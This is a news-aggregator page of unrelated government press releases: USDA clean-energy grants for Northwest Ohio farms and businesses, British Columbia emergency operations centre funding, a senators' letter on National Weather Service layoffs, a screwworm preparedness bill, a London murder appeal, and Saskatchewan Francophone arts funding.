Category: Farming

MIL-OSI USA: Kaptur Announces More Than $2.6 Million In USDA Rural Development Clean Energy Investments Across NW Ohio
Source: United States House of Representatives – Congresswoman Marcy Kaptur (OH-09)

Toledo, OH – Today, Congresswoman Marcy Kaptur (OH-09) Ranking Member of the House Appropriations Subcommittee on Energy and Water Development and Senior Member on the Subcommittee on Agriculture, Rural Development, Food and Drug Administration announced the award of $2,619,292 from United States Department of Agriculture (USDA) Rural Development (RD) through the Rural Energy For America Program (Reap) Renewable And Energy Efficiency Program for projects in Defiance, Erie, Fulton, Sandusky, and Williams Counties.

“Today’s announcement of more than $2.6 Million in clean energy grant awards is a major investment in operations both big and small in our rural communities,” said Congresswoman Marcy Kaptur (OH-09). “By supporting renewable energy systems, and energy efficiency improvements, we are not only cutting costs for our small businesses, and farmers, but also creating jobs and stimulating economic growth for rural communities in Defiance, Erie, Fulton, Sandusky, and Williams Counties. These projects underscore our commitment to reinvesting in our people, while building sustainable, and resilient energy infrastructure across our region of Northwest Ohio.”

The Rural Energy For America Program (Reap) Renewable And Energy Efficiency Program grants awarded to Northwest Ohio are as follows:
- $1,000,000 grant awarded to B&B Molded Products Inc. in Defiance County.
  - This Rural Development investment will be used to purchase and install a 699.6-kilowatt (kW) roof mounted solar array for B&B Molded Products in Defiance, Ohio. This project is expected to save $103,358 in annual energy costs and generate 1,308,194 kilowatt hours (kWh) of electricity, enough to power 130 homes. This energy efficiency upgrade will offset nearly 24 percent of the business’ annual energy consumption.
- $106,887 grant awarded to Russell Zeedyk in Defiance County.
  - This Rural Development investment will be used to purchase and install a 90.2-kilowatt (kW) ground mounted solar array for Russell Zeedyk. This project is expected to save his operation $14,828 in annual energy costs and generate121,136 kilowatt hours (kWh) of electricity, enough to power 12 homes. This energy efficiency upgrade will offset 65 percent of the business’ annual energy consumption.
- $507,131 grant awarded to Krumwiede Farms in Erie County.
  - This Rural Development investment will be used to purchase and install an energy efficient grain dryer for John Krumwiede. The project is expected to save $32,946 in annual energy costs and save 638,985 kilowatt hours (kWh) of electricity, enough to power 59 homes. This energy efficiency upgrade will offset 51 percent of the business’ annual energy consumption.
- $122,595 grant awarded to Bret Dennis in Fulton County.
  - This Rural Development investment will be used to purchase and install an energy efficient grain dryer for Bret Dennis in Wauseon, Ohio. This project is expected to save $15,617 in annual energy costs and save 8,152 kilowatt hours (kWh) of electricity, enough to power one home. This energy efficiency upgrade will offset 56 percent of the business’ annual energy consumption.
- $156,267 grant awarded to Bernath Farms LLC. In Fulton County.
  - This Rural Development investment will be used to purchase and install a104.76-kilowatt (kW) ground mounted solar array at Bernath Farms in Wauseon, Ohio. This project is expected to save $21,276 in annual energy costs and generate 140,049 kilowatt hours (kWh) of electricity, enough to power 13 homes. This energy efficiency upgrade will offset nearly 78 percent of the farm’s annual energy consumption.
- $500,000 grant awarded to Robert Brown in Williams County.
  - This Rural Development investment will be used to purchase and install an energy efficient grain dryer for Robert Brown and his family farm in Bryan, Ohio. This project is expected to save the farm $11,570 in annual energy costs and save 190,025 kilowatt hours (kWh) of electricity, enough to power 19 homes. This energy efficiency upgrade will offset 63 percent of the business annual energy consumption.
- $43,821 grant awarded to Stryker Welding in Williams County.
  - This Rural Development investment will be used to install a 42 kilowatt (kW) roof mounted solar at Stryker Welding in Stryker, Ohio. The project is expected to save $7,761 in annual energy costs and generate 42,295 kilowatt hours (kWh) of electricity, enough to power four homes. This energy efficiency upgrade will offset 98 percent of Stryker Welding’s annual energy consumption.
- $182,591 grant awarded to Warner Brothers Farms in Sandusky County.
  - This Rural Development investment will be used to purchase and install an energy efficient grain dryer at Warner Brothers Farms in Vickery, Ohio. This project is expected to save $10,456 in annual energy costs and save 168,647 kilowatt hours (kWh) of electricity, enough to power 16 homes. This energy efficiency upgrade will offset 50 percent of the business’ annual energy consumption.
The REAP program, established under the 2008 Farm Bill and expanded by subsequent Farm Bills and the Inflation Reduction Act (IRA), enables rural businesses and agricultural producers to access funding for renewable energy projects. These initiatives include wind, solar, geothermal, and small hydropower energy, as well as energy efficiency improvements.

RD is a mission area within the USDA which runs programs intended to improve the economy and quality of life in rural parts of the United States. USDA RD has a loan portfolio over $224.5 Billion, and administers nearly $16 Billion in program loans, loan guarantees, and grants through their programs. They promote economic development by supporting loans to businesses through banks, credit unions and community-managed lending pools. It offers technical assistance and information to help agricultural producers and cooperatives get started and improve the effectiveness of their operations. RD also provides technical assistance to help communities undertake community empowerment programs and helps rural residents buy or rent safe, affordable housing, and make health and safety repairs to their homes.

Congresswoman Kaptur continues to champion efforts that bolster Ohio’s rural economy and promote clean energy solutions. For more information on REAP and other USDA RD programs, click here.

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MIL OSI USA News –
June 7, 2025
MIL-OSI Canada: Province supports emergency operations centres to keep communities safe

Source: Government of Canada regional news

The Community Emergency Preparedness Fund supports projects that help local governments and First Nations to better prepare for emergencies. This funding is provided by the Province and administered through the Union of British Columbia Municipalities.

Local governments and First Nations throughout British Columbia will receive nearly $7 million from the emergency operations centre (EOC) equipment and training funding stream as follows:

?Esdilagh First Nation – Cargo trailer for mobile EOC, foundational training and tabletop exercise for staff.
Amount: $39,720

Abbotsford – Training and hands‑on mock event exercises to practice essential procedures.
Amount: $39,587

Adams Lake Indian Band – Comprehensive EOC training, tabletop exercise and supplies for EOC.
Amount: $40,000

Regional: Alberni-Clayoquot Regional District – This project provides EOC training and a multi-jurisdictional simulation exercise, and supplies IT equipment, communications equipment and office supplies.
Amount: $117,790
Sub-applicants: Port Alberni, Tofino

Regional: Alert Bay – Cormorant Island’s EOC will receive EOC training and IT, operational and communications equipment, including solar power system.
Amount: $80,000
Sub-applicant: ‘Namgis First Nation

Anspayaxw Band– The project boosts EOC capacity by supplying essential IT equipment and conducting a functional exercise.
Amount: $40,000

Armstrong – This project delivers EOC essentials and radio training, and supplies office equipment and drones to bolster EOC readiness.
Amount: $30,083

Ashcroft – Equips emergency operations centre with portable EOC kits, delivers Level 1 EOC training and runs exercises to practice essential emergency procedures.
Amount: $40,000

Barriere – This project provides EOC with office supplies, provides introductory EOC training and conducts tabletop exercises to practice critical procedures.
Amount: $37,944

Belcarra – This project provides a mobile trailer for storing and relocating EOC equipment.
Amount: $33,150

Blueberry River First Nations – Communications equipment, office supplies and training to manage emergency situations.
Amount: $39,984

Bowen Island – This project supplies mobile EOC equipment, distributes Rapid Damage Assessment kits and delivers a one-day EOC refresher course.
Amount: $40,000

Bulkley-Nechako Regional District – Facilitates EOC exercises and evacuation workshops to rehearse response co-ordination and safe evacuation procedures.
Amount: $36,863

Capital Regional District – This project provides EOC training and exercise to rehearse procedures and strengthen co-ordinated response.
Amount: $40,000

Cariboo Regional District – Mobile EOC and foundational training for staff.
Amount: $21,966

Central Coast Regional District – This project provides foundational EOC training, IT equipment and internet connectivity.
Amount: $39,999

Regional: Central Okanagan Regional District – This project provides staff development and training to enhance EOC capabilities.
Amount: $240,000
Sub-applicants: Kelowna, Lake Country, Peachland, West Kelowna, Westbank First Nation

Central Saanich – This project provides EOC training, exercises and IT equipment.
Amount: $40,000

Chawathil First Nation – This project provides portable/deployable EOC kits.
Amount: $39,102

Clearwater – This project provides EOC training, office supplies and IT, operational and communications equipment.
Amount: $40,000

Coldstream – This project provides EOC training, tabletop exercise and IT, operational and communications equipment.
Amount: $39,979

Columbia Shuswap Regional District – This project provides a workflow-management system and EOC staff training.
Amount: $39,350

Colwood – This project provides EOC training and supplies office, IT and operational equipment.
Amount: $24,184

Regional: Comox Valley Regional District – This project provides multi‑jurisdictional EOC training and supplies IT and operational equipment.
Amount: $195,000
Sub-applicants: Comox, Courtenay, Cumberland, K’ómoks First Nation

Cook’s Ferry Indian Band – This project provides EOC training and IT equipment.
Amount: $40,000

Coquitlam – This project provides Incident Command System 200 training and exercises.
Amount: $40,000

Cowichan Tribes – This project provides IT, communications and office supplies.
Amount: $40,000

Regional: Cowichan Valley Regional District – This project provides EOC position training and supplies office, IT and operational equipment.
Amount: $200,000
Sub-applicants: Duncan, Ladysmith, Lake Cowichan, North Cowichan

Creston – This project provides EOC training, exercises and IT equipment.
Amount: $40,000

Doig River First Nation – Radio equipment and evacuation-operation supplies.
Amount: $29,328

Regional: East Kootenay Regional District – This project provides full‑scale EOC training and exercises and supplies operational, communications and IT equipment.
Amount: $320,000
Sub-applicants: ʔaq’am, Canal Flats, Cranbrook, Fernie, Invermere, Kimberley, Radium Hot Springs, Shuswap Band

Elkford – This project provides drone training and EOC training (Introduction, Essentials and Incident Command System courses).
Amount: $40,000

Enderby – This project provides IT equipment, office supplies and operational-equipment upgrades.
Amount: $23,435

Esk’etemc First Nation – This project provides communications equipment and operational supplies.
Amount: $31,818

Regional: Fort St. James – This project provides EOC training and supplies IT, communications and operational equipment.
Amount: $79,198
Sub-applicant: Nak’azdli Whut’en

Fraser Valley Regional District – Simulation exercise and emergency operations centre supplies.
Amount: $40,000

Fraser-Fort George Regional District – Operation supplies and EOC essentials training.
Amount: $40,000

Gibsons – Operations training and supplies to create and maintain an EOC in an existing facility.
Amount: $40,000

Gitga’at First Nation – This project provides training and supplies IT and communications equipment.
Amount: $40,000

Golden – This project provides operational supplies and first-aid kits.
Amount: $38,490

Granisle – This project provides EOC training and supplies IT and communications equipment.
Amount: $40,000

Haisla Nation – This project provides IT equipment, electrical upgrades for sea can storage radios and tabletop exercises.
Amount: $39,755

Harrison Hot Springs – This project provides section training and operational equipment.
Amount: $34,835

Hope – This project provides foundational training and operational equipment, including a generator.
Amount: $40,000

Houston – This project provides EOC training through the emergency-management program.
Amount: $40,000

Hudson’s Hope – Portable/deployable emergency operations centre kit and sections training.
Amount: $40,000

Huu-ay-aht First Nations – This project provides IT and operational equipment, training and tabletop exercises.
Amount: $39,830

Iskut First Nation – This project provides IT and communications equipment, including drone for communications and supplies a backup generator for reliable power and situational awareness.
Amount: $40,000

Ka:’yu:’k’t’h’/Che:k’tles7et’h’ First Nations – EOC capacity expanded with a mobile trailer for on‑site emergency co-ordination.
Amount: $40,000

Kamloops – This project provides IT equipment, EOC materials and staff training.
Amount: $40,000

Kanaka Bar Indian Band – This project provides EOC kits and staff grab-and-go bags.
Amount: $37,240

Kent – Foundational training and functional exercise.
Amount: $39,911

Kitasoo Xai’xais Nation – IT, communications and operational equipment, including generator and trailer.
Amount: $40,000

Kitimat – Communication equipment and training enhancements.
Amount: $21,549

Kitselas First Nation – This project provides training and exercises and supplies IT, communications and operational equipment.
Amount: $40,000

Kwakiutl Band Council – This project provides IT and communications equipment, orientation and exercises.
Amount: $40,000

Kwikwetlem First Nation – Tabletop exercise and operational equipment.
Amount: $40,000

Langley City – This project provides section‑specific and foundational training.
Amount: $39,870

Langley Township – Operational equipment and foundational training.
Amount: $40,000

Lheidli-T’enneh First Nation (Northside) – This project provides tabletop walkthrough and foundational training.
Amount: $34,794

Lheidli-T’enneh First Nation (Southside) – This project provides tabletop walkthrough and foundational training.
Amount: $34,794

Lhtako Dene Nation – Radio equipment, generator and operation supplies.
Amount: $30,000

Lillooet – This project provides refresher training and IT equipment.
Amount: $40,000

Lytton First Nation – This project provides office and communications equipment.
Amount: $38,947

Mackenzie – This project provides communications equipment and training.
Amount: $39,890

Maple Ridge – Functional exercise and operational equipment.
Amount: $39,538

McLeod Lake Indian Band – Operations supplies and EOC training.
Amount: $39,190

Merritt – EOC capacity building through training and new equipment.
Amount: $40,000

Metchosin – Mobile EOC and power-supply project, includes office supplies, operational and communications equipment, and training and exercises.
Amount: $39,700

Mission – Functional exercise and operation supplies.
Amount: $32,776

Mowachaht/Muchalaht First Nations – Enhancements to the emergency-management program, including EOC training.
Amount: $39,765

Nanaimo – This project provides IT equipment, communications equipment and operational supplies.
Amount: $34,000

Regional: Nanaimo Regional District – This project provides section training, mock exercises, operational equipment and office supplies, including rapid damage assessment kits.
Amount: $80,000
Sub-applicant: District of Lantzville

Nelson – EOC improvements through IT and communications equipment and staff-training exercise.
Amount: $40,000

North Okanagan Regional District – This project provides IT and communications equipment and EOC training.
Amount: $40,000

North Saanich – This project provides operational equipment, including a generator to operate during power outage.
Amount: $40,000

Regional: North Vancouver District – Functional exercise to test municipal evacuation plan and section-specific training.
Amount: $120,000
Sub-applicants: North Vancouver City, West Vancouver

Northern Rockies Regional Municipality – Mobile EOC and operation supplies.
Amount: $39,000

Nuxalk Nation – This project provides operational equipment, including a generator.
Amount: $40,000

Oak Bay – This project provides EOC training and supplies office and operational equipment.
Amount: $39,800

Regional: Okanagan-Similkameen Regional District – This project provides EOC section training and supplies grab‑and‑go kits, communication and mapping tools, identification equipment and operational supplies.
Amount: $199,600
Sub-applicants: Keremeos, Oliver, Osoyoos, Summerland

Pacheedaht First Nation – This project provides training, exercises and supplies sea can storage, IT equipment and first-aid supplies.
Amount: $38,655

Peace River Regional District – This project provides office, IT and operational equipment, including 72-hour kits.
Amount: $39,853

Pemberton – Conferencing equipment and foundational training.
Amount: $40,000

Penticton – This project provides EOC training and tabletop exercises and supplies IT and communications equipment.
Amount: $40,000

Pitt Meadows – Mobile emergency operations centre equipment and functional exercise.
Amount: $40,000

Port Coquitlam – Tabletop exercise and section training.
Amount: $40,000

Port Edward – This project provides emergency support services training and supplies office, IT and communications equipment.
Amount: $40,000

Port Hardy – This project provides EOC exercises and supplies operational equipment, including solar backup power.
Amount: $37,200

Port Moody – Functional tabletop exercise and operational equipment.
Amount: $40,000

Princeton – This project provides first-aid supplies, incident command vests, communications equipment and EOC training.
Amount: $40,000

qathet Regional District – This project provides operational equipment.
Amount: $40,000

Regional: Qualicum Beach – This project provides training, exercises and IT equipment.
Amount: $80,000
Sub-applicant: Parksville

Quatsino First Nation – This project provides training and supplies operational and communications equipment.
Amount: $40,000

Saanich – This project provides EOC with conferencing equipment.
Amount: $40,000

Saik’uz First Nation – This project provides a mobile EOC trailer, IT, communications and operational equipment.
Amount: $38,425

Seabird Island Band – Functional exercise, foundational training and operation supplies.
Amount: $33,660

Sékw’elw’as – This project provides communications equipment and tabletop exercises.
Amount: $40,000

Sidney – EOC training for staff.
Amount: $35,500

Regional: Siska Band – This project enhances the operation of EOC through communications equipment.
Amount: $159,043
Sub-applicants: Nicomen Indian Band, Oregon Jack Creek Band, Shackan Indian Band

Skeetchestn Indian Band – This project provides operational equipment, including an auxiliary power generator.
Amount: $39,128

Skowkale First Nation – This project provides foundational and section training.
Amount: $30,173

Skwláx te Secwepemcúl̓ecw – This project provides EOC with IT, communications equipment and activation exercises.
Amount: $39,904

Smithers – Joint training operations and communications equipment.
Amount: $39,900

SnPink’tn – Implementing technology into the EOC through IT equipment.
Amount: $40,000

Songhees Nation – This project provides training and supplies operational and office equipment, including storage and a generator.
Amount: $39,935

Sooke – This project provides EOC training, exercises and operational equipment, including a drone.
Amount: $40,000

Spuzzum First Nation – Section training and functional exercise.
Amount: $40,000

Squamish – This project provides a functional exercise and Incident Command System training.
Amount: $35,000

Sqwá First Nation – This project provides IT and operational equipment.
Amount: $40,000

SȾÁUTW̱ First Nation – This project provides EOC training and IT, communications and operational equipment.
Amount: $31,395

Stewart – This project provides communications equipment updates.
Amount: $10,116

Regional: Strathcona Regional District – This project provides EOC training and supplies IT equipment, communications equipment, operational equipment and office supplies.
Amount: $360,000
Sub-applicants: Campbell River, Ehattesaht First Nation, Gold River, Nuchatlaht First Nation, Port McNeill, Sayward, Tahsis, Zeballos

Takla Nation – This project provides training and supplies IT equipment, communications equipment and operational equipment.
Amount: $39,774

Taylor – Tabletop exercise and foundational training.
Amount: $23,919

Telkwa – This project provides EOC training and supplies IT equipment, communications equipment and office supplies.
Amount: $39,994

Thompson-Nicola Regional District – EOC equipment and training improvements.
Amount: $40,000

Tl’azt’en Nation – Emergency operations centre enhancement through training and generator purchase.
Amount: $40,000

Ts’il kaz koh – EOC project includes mobile trailer, training and operational equipment.
Amount: $40,000

Tsal’alh – Portable/deployable EOC kit and sections training.
Amount: $39,197

Tsartlip First Nation – This project provides EOC exercises and supplies IT, communications and operational equipment.
Amount: $29,895

Tseshaht First Nation – This project provides EOC training, office supplies and portable operational and communications equipment.
Amount: $39,991

Tsilhqot’in National Government – Tabletop exercise and foundational training.
Amount: $37,500

Tsleil-waututh Nation – Section training and tabletop exercise.
Amount: $39,958

Ucluelet – This project revitalizes the tsunami siren warning system.
Amount: $34,549

Valemount – Operation supplies and sections training.
Amount: $35,159

Vancouver – Incident Command Systems and section training for staff.
Amount: $36,621

Vanderhoof – This project provides IT, communications, operational and office equipment.
Amount: $27,066

Vernon – Rapid damage assessment kits and EOC training courses.
Amount: $40,000

Victoria – EOC update through IT supplies and earthquake exercise.
Amount: $39,055

We Wai Kai Nation – This project provides communications equipment and training.
Amount: $39,425

Wells – This project provides IT, office and operational equipment.
Amount: $33,165

West Moberly First Nations – This project provides functional tabletop exercise.
Amount: $32,612

Whistler – Essentials training and IT equipment.
Amount: $24,650

Williams Lake First Nation – Mock activation exercise and operational equipment.
Amount: $39,265

Witset First Nation – This project provides EOC training, communications and operational equipment.
Amount: $40,000

Xaxli’p First Nation (fountain) – Mobile EOC centre operation supplies.
Amount: $39,688

Yakweakwioose First Nation – Foundational training and operation supplies.
Amount: $26,245

Yaq̓it ʔa·knuqⱡi ‘it (tobacco plains) – This project provides a mobile EOC trailer, training and communications equipment.
Amount: $39,928

MIL OSI Canada News –

June 7, 2025
MIL-OSI USA: Hickenlooper, Colleagues Demand Trump Admin Reinstate All Fired Workers at NOAA, NWS Prior to Peak Hurricane, Wildfire Season

US Senate News:

Source: United States Senator John Hickenlooper – Colorado
Staff reductions at both agencies pose a threat to public safety, wildfire preparedness
WASHINGTON – As the nation enters peak hurricane and wildfire season, U.S. Senator John Hickenlooper reiterated his call on the Trump administration to fully reinstate all fired federal employees at the National Weather Service (NWS) and National Oceanic and Atmospheric Administration (NOAA) to protect Americans from natural disasters.
“NWS employees and the programs they support are essential to the safety of the millions of Americans impacted by storms and disasters each year,” wrote the senators. “NWS would be unable to provide accurate and timely forecasts without sufficient staffing levels at weather forecast offices nationwide.”
NWS maintains 122 weather forecast offices across the United States which are responsible for providing 24/7 weather monitoring and forecasts. The Department of Commerce is reportedly planning to eliminate an additional 1,000 staff from NOAA, including at NWS, in the coming weeks. These cuts, combined with current staffing constraints, could reduce the NWS workforce by 15% just months into 2025.
The Trump administration’s decision this week to partially reinstate about 126 personnel to ‘stabilize operations’ at NWS field offices is progress – but falls short of what’s needed to keep Colorado safe.
Hickenlooper previously raised alarm about the Trump admin’s plans to cut funding for NOAA and Colorado-based research centers. He also called for an investigation into the mass layoffs at NOAA and its impacts on crucial services, including relaying emergency alerts in wildfires and supporting farmers’ drought mitigation efforts.
In their letter, the senators requested answers to the following questions:
How many of the NWS regional weather forecast offices were impacted by terminations or deferred resignations since January 20, 2025? Please provide a list of affected offices, including how many staff departed and how many remain.
With reports of at least one weather forecast office in Goodland, Kansas stopping 24/7 operations due to staffing shortages, how do the Department of Commerce and NOAA plan to maintain continued 24/7 operation of forecasting offices without requiring excessive overtime hours from staff?
With a requested budget cut of $1.311 billion for NOAA’s overall budget, and a $209 million cut for NWS procurement of weather satellites and infrastructure, how does the Department of Commerce and NOAA plan to ensure adequate staffing and preparedness in the midst of worsening storm seasons, increasing heat waves, and changing weather patterns?
As NWS employees are critical to public safety, especially heading into hurricane season, will the Department of Commerce grant an exemption to the hiring freeze to fill these crucial positions?
Full text of the letter available HERE and below.
Dear Secretary Lutnick, and Acting Administrator Grimm,
We write to express our concern with recent layoffs at the National Weather Service (NWS). Reports indicate that over 550 employees have been terminated or accepted deferred resignation offers. We believe that these staff reductions pose a threat to public safety and emergency preparedness by undercutting essential forecasting and weather monitoring systems. We urge you to reinstate terminated NWS employees and request additional information on how the administration plans to address staffing at NWS.
NWS maintains 122 weather forecast offices across the United States which are responsible for providing 24/7 weather monitoring and forecasts. NWS would be unable to provide accurate and timely forecasts without sufficient staffing levels at weather forecast offices nationwide. In addition to daily forecasting operations, weather forecast offices are responsible for issuing emergency weather warnings ahead of events such as major floods, wildfire hazards, hurricanes, and blizzard conditions. As the frequency and severity of such disasters increase, maintaining
NWS’s real-time forecasting operations is essential to saving lives and reducing the cost of recovery for disaster-affected communities.
NWS employees and the programs they support are essential to the safety of the millions of Americans impacted by storms and disasters each year. On February 27, 2025, 108 probationary NWS employees were terminated, adding to the 170 staff who accepted the Administration’s “deferred resignation” plan earlier that month. These staffing cuts are already impacting NWS services, forcing NWS to halt weather balloon launches in New York, Maine, and Alaska that provide daily weather data to meteorologists at weather forecast offices across the country. As we head into hurricane season, 30 weather forecast offices are without a meteorologist-in-charge, one is completely without any managers at all, and nearly a dozen are preparing to shut down 24/7 services without immediate action to address shortages.
The Department of Commerce is reportedly planning to eliminate an additional 1,000 staff from the National Oceanic and Atmospheric Administration (NOAA), including at NWS, in the coming weeks. All told, NWS offices, already suffering from staffing constraints, could see a 15% reduction in force just months into 2025.
We request a response to the following questions by June 10, 2025:
How many of the NWS regional weather forecast offices were impacted by terminations or deferred resignations since January 20, 2025? Please provide a list of affected offices, including how many staff departed and how many remain.
With reports of at least one weather forecast office in Goodland, Kansas stopping 24/7 operations due to staffing shortages, how do the Department of Commerce and NOAA plan to maintain continued 24/7 operation of forecasting offices without requiring excessive overtime hours from staff?
With a requested budget cut of $1.311 billion for NOAA’s overall budget, and a $209 million cut for NWS procurement of weather satellites and infrastructure, how does the Department of Commerce and NOAA plan to ensure adequate staffing and preparedness in the midst of worsening storm seasons, increasing heat waves, and changing weather patterns?
As NWS employees are critical to public safety, especially heading into hurricane season, will the Department of Commerce grant an exemption to the hiring freeze to fill these crucial positions?
We urge you to reassess the staffing needs at NOAA and NWS and reinstate terminated probationary employees swiftly. We appreciate your attention to this matter and look forward to your response.
Sincerely,

MIL OSI USA News –

June 7, 2025
MIL-OSI USA: De La Cruz Protects Texas Livestock from New World Screwworm

Source: United States House of Representatives – Monica De La Cruz (TX-15)

WASHINGTON –Today, Congresswoman Monica De La Cruz (TX-15) introduced the New World Screwworm Preparedness Act to direct the U.S. Department of Agriculture Secretary Brooke Rollins to conduct a study and report strategies to enhance preparedness and response capabilities against potential outbreaks of the New World Screwworm.

“As the threat of the New World Screwworm rises, it is critical we remain prepared to eradicate the threat before the Texas livestock industry is severely impacted. Texas successfully eradicated this parasite before. I am committed to finding solutions to cut off this pest early to protect our livestock and local economy.”– Congresswoman Monica De La Cruz

Original co-sponsors are Reps. Brian Babin (TX-36), Chip Roy (TX-21), August Pfluger (TX-11), Tony Gonzales (TX-23), Lance Gooden (TX-05), Dan Crenshaw (TX-02), Michael McCaul (TX-10), Roger Williams (TX-25), Troy Nehls (TX-22), Jodey Arrington (TX-19), and Brandon Gill (TX-26). The legislation has garnered support from the Texas Farm Bureau and the Texas & Southwestern Cattle Raisers Association.

“The New World screwworm poses a serious threat to the United States’ livestock industry. Congresswoman De La Cruz has listened to the concerns of Texas Farm Bureau members and responded with commonsense solutions to protect our agricultural producers. We commend her swift action to introduce critical legislation that will help prevent the spread of this deadly parasite and prepare for future outbreaks across Texas. In addition to her efforts to establish a sterile fly facility at Moore Air Base in Texas, Congresswoman De La Cruz has shown strong leadership and a clear commitment to protecting the livestock industry and the broader agricultural economy.”– Russell Boening, President of Texas Farm Bureau

“The growing threat of the New World screwworm demands swift, coordinated action. Texas & Southwestern Cattle Raisers Association fully supports this legislation enhancing U.S. preparedness and response to the NWS threat. This legislation is a critical step toward ensuring USDA’s overarching strategy is being communicated to Congress. We are grateful for the leadership of Congresswoman De La Cruz and others who are working to safeguard our cattle industry. We remain committed to working alongside our state, federal and industry partners to protect America’s beef herd.”–Carl Ray Polk Jr., President of the Texas & SouthwesternCattleRaisersAssociation

Background:

The New World Screwworm is a highly destructive parasitic fly whose larvae infest the flesh of livestock and wildlife. The parasite has been detected in Veracruz, Mexico, approximately 700 miles from the U.S. border. As more cases arise, the threat and concerns of northward spread grow. Furthermore, an outbreak in Texas could lead to devastating economic for the state’s cattle and hunting industries.

De La Cruz has backed additional efforts to eradicate the New World Screwworm including urging the U.S. Department of Agriculture (USDA) to establish a sterile fly facility at Moore Air Base in Hidalgo County.

MIL OSI USA News –

June 7, 2025
MIL-OSI Security: Murder investigation launched following disappearance of a woman from Ilford

Source: United Kingdom London Metropolitan Police

A murder investigation has been launched by Met detectives following the disappearance of a woman from Ilford.

Yajaira Castro Mendez, aged 46, was reported missing to police on Saturday, 31 May, having left her home on the morning of Thursday, 29 May.

Today, a man known to her appeared in court charged with her murder, and detectives are appealing for anyone with information to come forward.

Chief Superintendent Jason Stewart, who leads policing in Camden, said: “Officers have been working around the clock to find Yajaira. She has not been seen or heard from by her family or friends since the date she was reported missing.

“Yajaira’s disappearance was initially treated as a missing person investigation led by local officers. The investigation was then transferred to the Met’s Specialist Crime Command on Thursday, 5 June after a range of extensive further enquiries very sadly suggested she has come to harm. Yajaira’s family continue to be supported by specialist officers, and we are keeping them updated with developments.

“I understand the impact this news may have on our local community, however we do have a man charged and in custody and we are not searching for anyone else at this stage. The man and Yajaira are believed to be known to each other.

“Detectives continue to investigate the circumstances and there are crime scenes in place across Camden and Lambeth. We thank the community for their patience while we carry out our enquiries and ask that any one with information please comes forward.”

Yajaira is a Colombian national who has been residing in the UK.

Officers are appealing for anyone with any information relating to Yajaira’s disappearance to contact police via 101 or @MetCC quoting CAD 3020/06JUN25.

To remain 100 per cent anonymous call the independent charity Crimestoppers on 0800 555 111 or visit Crimestoppers-uk.org.

MIL Security OSI –

June 7, 2025
MIL-OSI Canada: Funding to Support Francophone Artists and Promote French Language in Saskatchewan Continues
Source: Government of Canada regional news

Released on June 6, 2025

The Government of Saskatchewan is providing $60,000 to support professional development of Francophone artists and strengthen French-language arts and culture across the province.

The Conseil culturel fransaskois (CCF) will receive the funds to deliver seven workshops to singers, musicians, writers and visual artists. This is the second year of the funding with more than 55 artists benefitting from the program in 2024-25.

“These workshops provide valuable opportunities for Francophone artists to hone their craft, share ideas and grow professionally,” Minister Responsible for Francophone Affairs Alana Ross said. “The Conseil culturel fransaskois plays a vital role in preserving and promoting our province’s rich cultural heritage. This investment supports artists while delivering for our Francophone communities.”

The workshops will focus on a variety of areas for professional development such as marketing, promotion and mentorship.

This funding is part of the Canada-Saskatchewan Agreement on French-language Services, a five-year initiative that enhances the delivery of French-language programs and services across the province.

Like last year, the 2025-26 Provincial Budget includes several initiatives focused on Saskatchewan’s Francophone communities and French language in the province, including:
- Two key health programs for Saskatchewan’s French speaking citizens: a patient accompaniment program operated by the Réseau santé en français de la Saskatchewan and a French-language mental health support telephone line offered through TAO Tel-Aide.
- Improving the provision of French language services to Saskatchewan residents, by developing interactive government services in French and improving the availability of bilingual services for residents when doing business with government.
“Access to services in French, whether for health care, culture or business support, is essential to building an inclusive and equitable Canada,” Minister of Canadian Identity and Culture and Minister Responsible for Official Languages Steven Guilbeault said. “Through strong collaboration between the Governments of Canada and Saskatchewan, these important investments will help meet the needs of the Fransaskois community. Thanks to the Conseil culturel fransaskois for continuing to make a real difference in the lives of French-speaking communities in Saskatchewan by strengthening their cultural and social vitality.”

The CCF has been the province’s leading organization for the development and promotion of Francophone culture for over 50 years.

“The biggest impact of this renewed and increased funding will be felt in the continuation of initiatives launched last year,” CCF President Anne Brochu Lambert said. “It is a recognition of both the value of these initiatives and the importance of thoughtful long term professional development for our artists.”

To learn more about the CCF’s programs and events, visit: www.culturel.ca.

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For more information, contact:

Maintien du financement visant à soutenir les artistes francophones et à promouvoir la langue française en Saskatchewan

Le gouvernement de la Saskatchewan offre un appui financier de 60 000 $ afin de soutenir le développement professionnel des artistes francophones et de renforcer la présence des arts et de la culture en langue française dans toute la province.

Le Conseil culturel fransaskois (CCF) recevra les fonds à distribuer aux chanteuses et chanteurs, aux musiciennes et musiciens, aux écrivaines et écrivains ainsi qu’aux artistes visuels. Ce financement est offert pour une deuxième année consécutive, permettant ainsi à plus de 55 artistes de bénéficier du programme pour l’année 2024-2025.

« Ces ateliers offrent aux artistes francophones de précieuses occasions de perfectionner leur art, d’échanger des idées et d’évoluer sur le plan professionnel, déclare Alana Ross, la ministre responsable des Affaires francophones. Le Conseil culturel fransaskois joue un rôle essentiel dans la préservation et la promotion du riche héritage culturel de notre province. Cet investissement soutient les artistes tout en répondant aux attentes de la communauté francophone. »

Les ateliers s’attarderont sur plusieurs domaines du perfectionnement professionnel tels que le marketing, la promotion et le mentorat.

Le financement est prévu dans l’Entente Canada-Saskatchewan pour les services en français, une initiative de cinq ans qui permet de fournir plus de prestations de programmes et de services en langue française dans toute la province.

Comme l’année dernière, le budget provincial 2025-2026 comprend plusieurs initiatives axées sur les communautés francophones de la Saskatchewan et sur la langue française dans la province, y compris :
- Deux programmes importants en matière de santé pour les citoyennes et citoyens francophones en Saskatchewan : un programme d’accompagnement pour patients géré par le Réseau santé en français de la Saskatchewan et une ligne d’écoute téléphonique de soutien en santé mentale en français offerte par TAO Tel-Aide.
- L’amélioration de prestations de services en français aux résidants de la Saskatchewan grâce au développement de services gouvernementaux interactifs en français et l’amélioration de l’accès aux services bilingues pour les résidants lors des discussions d’affaires avec le gouvernement.
« Accéder à des services en français, que ce soit en matière de santé, de culture ou de soutien aux entreprises, est essentiel à l’édification d’un Canada inclusif et équitable. Grâce à une collaboration étroite entre les gouvernements du Canada et de la Saskatchewan, ces investissements importants contribuent à répondre aux besoins de la communauté fransaskoise. Je remercie le Conseil culturel fransaskois de continuer à faire une réelle différence dans la vie des communautés francophones de la Saskatchewan en renforçant leur vitalité culturelle et sociale. »

– L’honorable Steven Guilbeault, ministre de l’Identité et de la Culture canadiennes et ministre responsable des Langues officielles

Depuis plus de 50 ans, le CCF est l’organisme phare de la province en ce qui concerne le développement et la promotion de la culture francophone.

